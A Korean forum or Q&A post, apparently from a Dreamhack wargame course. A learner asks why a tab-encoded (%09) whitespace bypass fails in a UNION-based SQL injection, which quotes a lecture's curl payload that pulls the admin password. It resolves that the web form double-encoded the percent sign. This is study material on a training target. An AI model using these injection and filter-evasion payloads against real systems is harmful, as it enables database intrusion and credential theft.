~~강의에 나온 익스플로잇 코드 curl "http://host1.dreamhack.games:10137/?uid='Union Select null,upw,null From user where uid=\"Admin\"%23" 에서 저 쿼리 부분
그러니까 'Union%09Select%09null,upw,null%09From%09user%09where%09uid="Admin"%23 만 붙여 넣어서 해봤는데 계속 500 에러가 나길래
우선 공백 우회가 되는지 먼저 테스트 하고 싶어서
'%09Union(Select%09'a','b','c');-- 를 입력했습니다
그러니까 쿼리문이
SELECT * FROM user WHERE uid=''%09Union(Select%09'a','b','c');--'
이렇게 되게요
만약에 우회가 되는 거면 정상 실행되었을텐데
그렇지 않고 계속 Internal Server Error 가 발생합니다
혹시 해서 mysql 에 똑같은 db 만들어서
저 쿼리문을 실행했더니 역시 오류가 나면서 안되고,
반대로 %09만 다시 공백으로 바꾸고
SELECT * FROM user WHERE uid='' Union(Select 'a','b','c');--'
해봤더니 정상 실행 됩니다
궁금한걸 요약해서 말씀드리자면
아직 mysql에서 %09로 공백 우회 되는 거 맞는 건가요?
혹시 최근에 우회가 안되게 막혔다던가 하는 업데이트가 있었나요?
답변해주시면 감사드리겠습니다 ㅠㅠ~~
해결
-
페이지의 form에 입력해서 풀면 %가 %25로 이중인코딩됩니다 curl로 풀어야됩니다
-
mysql 내에서 %09 들어가면 오류 나는 건 왜그런건지 모르겠습니다 ㅠㅠ